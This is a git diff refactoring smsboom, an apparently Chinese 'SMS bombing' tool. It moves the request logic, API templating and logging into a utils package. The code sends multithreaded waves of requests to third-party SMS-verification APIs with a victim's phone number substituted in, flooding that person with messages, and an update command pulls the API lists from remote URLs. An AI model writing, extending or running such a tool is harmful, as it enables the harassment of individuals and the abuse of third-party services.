diff --git a/smsboom.py b/smsboom.py
index 2b9c92e..af5d30d 100644
--- a/smsboom.py
+++ b/smsboom.py
@@ -1,26 +1,19 @@
# encoding=utf8
# 短信测压主程序
+import json
import pathlib
import sys
-from typing import List, Union
-import click
-import json
-import httpx
-from loguru import logger
-from concurrent.futures import ThreadPoolExecutor
import time
-import sys
+from concurrent.futures import ThreadPoolExecutor
+from typing import List, Union
-from utils import API, default_header
+import click
+import httpx
-# logger config
-logger.remove()
-logger.add(
- sink=sys.stdout,
- format="{time:YYYY-MM-DD at HH:mm:ss} - {level} - {message}",
- colorize=True,
- backtrace=True
-)
+from utils import default_header
+from utils.log import logger
+from utils.models import API
+from utils.req import reqFunc
# current directory
path = pathlib.Path(__file__).parent
@@ -70,38 +63,6 @@ def load_getapi() -> list:
# return None
raise ValueError
-def reqAPI(api: API, client: httpx.Client) -> httpx.Response:
- if isinstance(api.data, dict):
- resp = client.request(method=api.method, json=api.data,
- headers=api.header, url=api.url)
- else:
- resp = client.request(method=api.method, data=api.data,
- headers=api.header, url=api.url)
- return resp
-
-
-def req(api: Union[API, str], phone: tuple):
- """请求接口方法"""
- # 多手机号支持
- if isinstance(phone, tuple):
- phone_lst = [_ for _ in phone]
- else:
- phone_lst = [phone]
-
- with httpx.Client(headers=default_header, verify=False) as client:
- for ph in phone_lst:
- try:
- if isinstance(api, API):
- api = api.handle_API(ph)
- resp = reqAPI(api, client)
- logger.info(f"{api.desc}-{resp.text[:30]}")
- else:
- api = api.replace("[phone]", ph)
- resp = client.get(url=api, headers=default_header)
- logger.info(f"GETAPI接口-{resp.text[:30]}")
- except httpx.HTTPError as why:
- logger.error(f"请求失败{why}")
-
@click.command()
@click.option("--thread", "-t", help="线程数(默认64)", default=64)
@@ -126,16 +87,16 @@ def run(thread: int, phone: Union[str, tuple], interval: int, super: bool = Fals
i += 1
logger.success(f"第{i}波轰炸开始!")
for api in _api:
- pool.submit(req, api, phone)
+ pool.submit(reqFunc, api, phone)
for api_get in _api_get:
- pool.submit(req, api_get, phone)
+ pool.submit(reqFunc, api_get, phone)
logger.success(f"第{i}波轰炸提交结束!休息{interval}s.....")
time.sleep(interval)
else:
for api in _api:
- pool.submit(req, api, phone)
+ pool.submit(reqFunc, api, phone)
for api_get in _api_get:
- pool.submit(req, api_get, phone)
+ pool.submit(reqFunc, api_get, phone)
@click.command()
@@ -147,9 +108,11 @@ def update():
try:
with httpx.Client(verify=False, timeout=10) as client:
# print(API_json_url)
- GETAPI_json = client.get(GETAPI_json_url, headers=default_header).content.decode(encoding="utf8")
- api_json = client.get(API_json_url, headers=default_header).content.decode(encoding="utf8")
-
+ GETAPI_json = client.get(
+ GETAPI_json_url, headers=default_header).content.decode(encoding="utf8")
+ api_json = client.get(
+ API_json_url, headers=default_header).content.decode(encoding="utf8")
+
except Exception as why:
logger.error(f"拉取更新失败:{why}请关闭所有代理软件多尝试几次!")
else:
diff --git a/utils.py b/utils.py
index 4dbafae..0c2fc83 100644
--- a/utils.py
+++ b/utils.py
@@ -12,65 +12,6 @@ default_header = {
}
-class Sql(object):
- """处理SQL数据"""
-
- def __init__(self) -> None:
- '''初始化数据库'''
- # 数据库路径
- db_path = Path.cwd().joinpath("api.db")
- # 连接数据库,不检查是否在同一个路径.
- self.client = sqlite3.connect(
- db_path, timeout=6, check_same_thread=False)
- self.cursor = self.client.cursor()
- self.newTable()
-
- def newTable(self):
- '''初始化表结构'''
- sql = '''
-CREATE TABLE IF NOT EXISTS API200 (
- id INT NULL,
- url TEXT NOT NULL,
- primary key (url)
-);
- '''
- self.cursor.execute(sql)
- self.client.commit()
-
- def update(self, url):
- '''插入数据'''
- sql = '''
- INSERT INTO API200 (ID,url) VALUES (null,?)
- '''
- try:
- self.cursor.execute(sql, (url,))
- self.client.commit()
- return True
- except sqlite3.IntegrityError:
- # print(f"{url} 数据重复!")
- return False
-
- def select(self) -> list:
- '''获取所有接口'''
- sql = '''
- SELECT url FROM API200;
- '''
- try:
- self.cursor.execute(sql)
- result = self.cursor.fetchall()
- urls = []
- for url in result:
- urls.append(url[0])
- return urls
- except Exception as e:
- print('读取出现错误!', e)
-
- def __del__(self) -> None:
- '''对象被删除时执行的函数'''
- print(f"共改变{self.client.total_changes}条数据!,正在关闭数据库连接......")
- self.client.close()
-
-
class API(BaseModel):
"""处理自定义 API 数据"""
desc: str = "Default"
diff --git a/utils/__init__.py b/utils/__init__.py
new file mode 100644
index 0000000..de412fe
--- /dev/null
+++ b/utils/__init__.py
@@ -0,0 +1,3 @@
+default_header = {
+ "User-Agent": "Mozilla/5.0 (Linux; U; Android 10; zh-cn; Mi 10 Build/QKQ1.191117.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40"
+}
\ No newline at end of file
diff --git a/utils/log.py b/utils/log.py
new file mode 100644
index 0000000..90490e5
--- /dev/null
+++ b/utils/log.py
@@ -0,0 +1,44 @@
+# encoding=utf8
+# 日志模块
+from loguru import logger
+import pathlib
+import sys
+import os
+
+# 终端日志输出格式
+stdout_fmt = '{level.icon} {time:HH:mm:ss,SSS} ' \
+ '[{level}] ' \
+ '{thread.name} ' \
+ '{module}:{line} - ' \
+ '{message}'
+
+# 日志文件记录格式
+# logfile_fmt = '{time:YYYY-MM-DD HH:mm:ss,SSS} ' \
+# '[{level: <5}] ' \
+# '{process.name}({process.id}):' \
+# '{thread.name: <10}({thread.id: <5}) | ' \
+# '{module}.{function}:' \
+# '{line} - {message}'
+
+logfile_fmt = '{time:YYYY-MM-DD HH:mm:ss,SSS} ' \
+ '[{level}] ' \
+ '{module}.{function}:' \
+ '{line} - {message}'
+
+log_pathDir = pathlib.Path(os.getcwd()).resolve().joinpath('logs')
+if not log_pathDir.is_dir():
+ log_pathDir.mkdir()
+log_path = log_pathDir.joinpath('run.log').resolve()
+
+logger.remove()
+
+if not os.environ.get('PYTHONIOENCODING'): # 设置编码
+ os.environ['PYTHONIOENCODING'] = 'utf-8'
+
+logger.add(sys.stderr, level='INFO', format=stdout_fmt, enqueue=True)
+# 输出到文件
+# logger.add(log_path, level='DEBUG', format=logfile_fmt,
+# enqueue=True, encoding='utf-8')
+
+if __name__ == "__main__":
+ logger.info("test")
diff --git a/utils/models.py b/utils/models.py
new file mode 100644
index 0000000..8889485
--- /dev/null
+++ b/utils/models.py
@@ -0,0 +1,53 @@
+# encoding=utf8
+# 一些模型
+from pydantic import BaseModel
+from typing import Union, Optional
+from datetime import datetime
+import json
+from utils import default_header
+
+class API(BaseModel):
+ """处理自定义 API 数据"""
+ desc: str = "Default"
+ url: str
+ method: str = "GET"
+ header: Optional[Union[str, dict]] = default_header
+ data: Optional[Union[str, dict]]
+
+ def replace_data(self, content: Union[str, dict], phone: str) -> str:
+ # 统一转换成 str 再替换. ' -> "
+ if phone:
+ content = str(content).replace("[phone]", phone).replace(
+ "[timestamp]", self.timestamp_new()).replace("'", '"')
+
+ # 尝试 json 化
+ try:
+ return json.loads(content.replace("'", '"'))
+ except:
+ return content
+
+ def timestamp_new(self) -> str:
+ """返回整数字符串时间戳"""
+ return str(int(datetime.now().timestamp()))
+
+ def handle_API(self, phone: str=None):
+ """ 传入手机号处理 API
+ :param API: one API basemodel
+ :return: API basemodel
+ """
+ # 仅仅当传入 phone 参数时添加 Referer
+ # fix: 这段代码很有问题.......
+ if phone:
+ # 进入的 header 是个字符串
+ if self.header == "":
+ self.header = {}
+ self.header['Referer'] = self.url # 增加 Referer
+
+ self.header = self.replace_data(self.header, phone)
+ if not self.header.get('Referer'):
+ self.header['Referer'] = self.url # 增加 Referer
+
+ self.data = self.replace_data(self.data, phone)
+ self.url = self.replace_data(self.url, phone)
+ # print(self)
+ return self
diff --git a/utils/req.py b/utils/req.py
new file mode 100644
index 0000000..1668617
--- /dev/null
+++ b/utils/req.py
@@ -0,0 +1,40 @@
+# encoding=utf8
+# 请求的方法
+import httpx
+from typing import Union
+
+from utils import default_header
+from utils.models import API
+from utils.log import logger
+
+def reqAPI(api: API, client: httpx.Client) -> httpx.Response:
+ if isinstance(api.data, dict):
+ resp = client.request(method=api.method, json=api.data,
+ headers=api.header, url=api.url)
+ else:
+ resp = client.request(method=api.method, data=api.data,
+ headers=api.header, url=api.url)
+ return resp
+
+
+def reqFunc(api: Union[API, str], phone: tuple):
+ """请求接口方法"""
+ # 多手机号支持
+ if isinstance(phone, tuple):
+ phone_lst = [_ for _ in phone]
+ else:
+ phone_lst = [phone]
+
+ with httpx.Client(headers=default_header, verify=False) as client:
+ for ph in phone_lst:
+ try:
+ if isinstance(api, API):
+ api = api.handle_API(ph)
+ resp = reqAPI(api, client)
+ logger.info(f"{api.desc}-{resp.text[:30]}")
+ else:
+ api = api.replace("[phone]", ph)
+ resp = client.get(url=api, headers=default_header)
+ logger.info(f"GETAPI接口-{resp.text[:30]}")
+ except httpx.HTTPError as why:
+ logger.error(f"请求失败{why}")
diff --git a/utils/sql.py b/utils/sql.py
new file mode 100644
index 0000000..3993aa1
--- /dev/null
+++ b/utils/sql.py
@@ -0,0 +1,63 @@
+# encoding=utf8
+# 读写sqlite数据库
+from pathlib import Path
+import sqlite3
+
+class Sql(object):
+ """处理SQL数据"""
+
+ def __init__(self) -> None:
+ '''初始化数据库'''
+ # 数据库路径
+ db_path = Path.cwd().joinpath("api.db")
+ # 连接数据库,不检查是否在同一个线程.
+ self.client = sqlite3.connect(
+ db_path, timeout=6, check_same_thread=False)
+ self.cursor = self.client.cursor()
+ self.newTable()
+
+ def newTable(self):
+ '''初始化表结构'''
+ sql = '''
+CREATE TABLE IF NOT EXISTS API200 (
+ id INT NULL,
+ url TEXT NOT NULL,
+ primary key (url)
+);
+ '''
+ self.cursor.execute(sql)
+ self.client.commit()
+
+ def update(self, url):
+ '''插入数据'''
+ sql = '''
+ INSERT INTO API200 (ID,url) VALUES (null,?)
+ '''
+ try:
+ self.cursor.execute(sql, (url,))
+ self.client.commit()
+ return True
+ except sqlite3.IntegrityError:
+ # print(f"{url} 数据重复!")
+ return False
+
+ def select(self) -> list:
+ '''获取所有接口'''
+ sql = '''
+ SELECT url FROM API200;
+ '''
+ try:
+ self.cursor.execute(sql)
+ result = self.cursor.fetchall()
+ urls = []
+ for url in result:
+ urls.append(url[0])
+ return urls
+ except Exception as e:
+ print('读取出现错误!', e)
+
+ def __del__(self) -> None:
+ '''对象被删除时执行的函数'''
+ print(f"共改变{self.client.total_changes}条数据!,正在关闭数据库连接......")
+ self.client.close()
+